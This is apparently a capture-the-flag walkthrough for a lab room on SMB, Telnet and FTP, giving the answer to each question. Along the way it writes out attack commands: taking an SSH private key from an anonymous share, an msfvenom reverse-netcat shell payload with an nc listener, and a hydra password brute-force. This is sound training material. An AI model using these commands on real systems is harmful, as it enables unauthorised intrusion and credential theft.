Ready? Let's get going!

no answer needed

What does SMB stand for?

• Server Message Block

What type of protocol is SMB?

• response-request

What do clients connect to servers using?

• TCP/IP

What systems does Samba run on?

• Unix

Conduct an nmap scan of your choosing, How many ports are open?

• nmap -p- -A <TARGET_IP>
• *

What ports is SMB running on?

• 139/445

Let's get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name?

• enum4linux -A <TARGET_IP>
• **********

What comes up as the name of the machine?

• polosmb

What operating system version is running?

• 6.1

What share sticks out as something we might want to investigate?

• profiles

What would be the correct syntax to access an SMB share called "secret" as user "suit" on a machine with the IP 10.10.10.2 on the default port?

• smbclient //10.10.10.2/secret -U suit -p 139

Great! Now you've got a hang of the syntax, let's have a go at trying to exploit this vulnerability. You have a list of users, the name of the share (smb) and a suspected vulnerability.

no answer needed

Does the share allow anonymous access? Y/N?

• Y

Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?

• get "Working From Home Information.txt"
• Outside smb cat "Working From Home Information.txt"
• John ******

What service has been configured to allow him to work from home?

• ssh

Okay! Now we know this, what directory on the share should we look in?

• .ssh

This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?

• cd .ssh
• ls

What is the smb.txt flag?

• get id_rsa
• chmod 600 id_rsa
• ssh cactus@<TARGET_IP> -i id_rsa
• cat smb.txt
• ***************

What is Telnet?

• application protocol

What has slowly replaced Telnet?

• ssh

How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?

• telnet 10.10.10.3 23

The lack of what, means that all Telnet communication is in plaintext?

• encryption

How many ports are open on the target machine?

• nmap -p- -A <TARGET_IP>
• or scilla port -target <TARGET_IP>
• 1

What port is this?

• ****

This port is unassigned, but still lists the protocol it's using, what protocol is this?

• tcp

Now re-run the nmap scan, without the -p- tag, how many ports show up as open?

• 0

Here, we see that by assigning telnet to a non-standard port, it is not part of the common ports list, or top 1000 ports, that nmap scans. It's important to try every angle when enumerating, as the information you gather here will inform your exploitation stage.

no answer needed

Based on the title returned to us, what do we think this port could be used for?

• a backdoor

Who could it belong to? Gathering possible usernames is an important step in enumeration.

• skidy

Always keep a note of information you find during your enumeration stage, so you can refer back to it when you move on to try exploits.

no answer needed

Okay, let's try and connect to this telnet port! If you get stuck, have a look at the syntax for connecting outlined above.

no answer needed

Great! It's an open telnet connection! What welcome message do we receive?

• SKIDY'S BACKDOOR.

Let's try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)

• N

Hmm... that's strange. Let's check to see if what we're typing is being executed as a system command.

no answer needed

This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.

no answer needed

Now, use the command "ping [local THM ip] -c 1" through the telnet session to see if we're able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)

• Y

Great! This means that we are able to execute system commands AND that we are able to reach our local machine. Now let's have some fun!

no answer needed

What word does the generated payload start with?

• msfvenom -p cmd/unix/reverse_netcat lhost=<local_tun0_ip> lport=4444 R
• mkfifo

What would the command look like for the listening port we selected in our payload?

• nc -lvp 4444

Great! Now that's running, we need to copy and paste our msfvenom payload into the telnet session and run it as a command. Hopefully- this will give us a shell on the target machine!

no answer needed

Success! What is the contents of flag.txt?

• THM{**********************}

What communications model does FTP use?

• client-server

What's the standard FTP port?

• 21

How many modes of FTP connection are there?

• 2

How many ports are open on the target machine?

• scilla port -target <TARGET_IP>
• *

What port is ftp running on?

• 21

What variant of FTP is running on it?

• nmap -p- -A <TARGET_IP>
• vsFTPd

What is the name of the file in the anonymous FTP directory?

• ftp <TARGET_IP>, anonymous and no pwd.
• ls
• **************.txt

What do we think a possible username could be?

• get *************.txt
• Then on your machine cat *************.txt
• Mike

Great! Now we've got details about the FTP server and, crucially, a possible username. Let's see what we can do with that...

no answer needed

What is the password for the user "mike"?

• hydra -t 4 -l mike -P /usr/share/wordlists/rockyou.txt -vV <TARGET_IP> ftp
• ********

Bingo! Now, let's connect to the FTP server as this user using "ftp [IP]" and entering the credentials when prompted

no answer needed

What is ftp.txt?

• ftp <TARGET_IP>, mike and password.
• ls
• get ftp.txt
• exit
• cat ftp.txt
• THM{*********************}

Well done, you did it!

no answer needed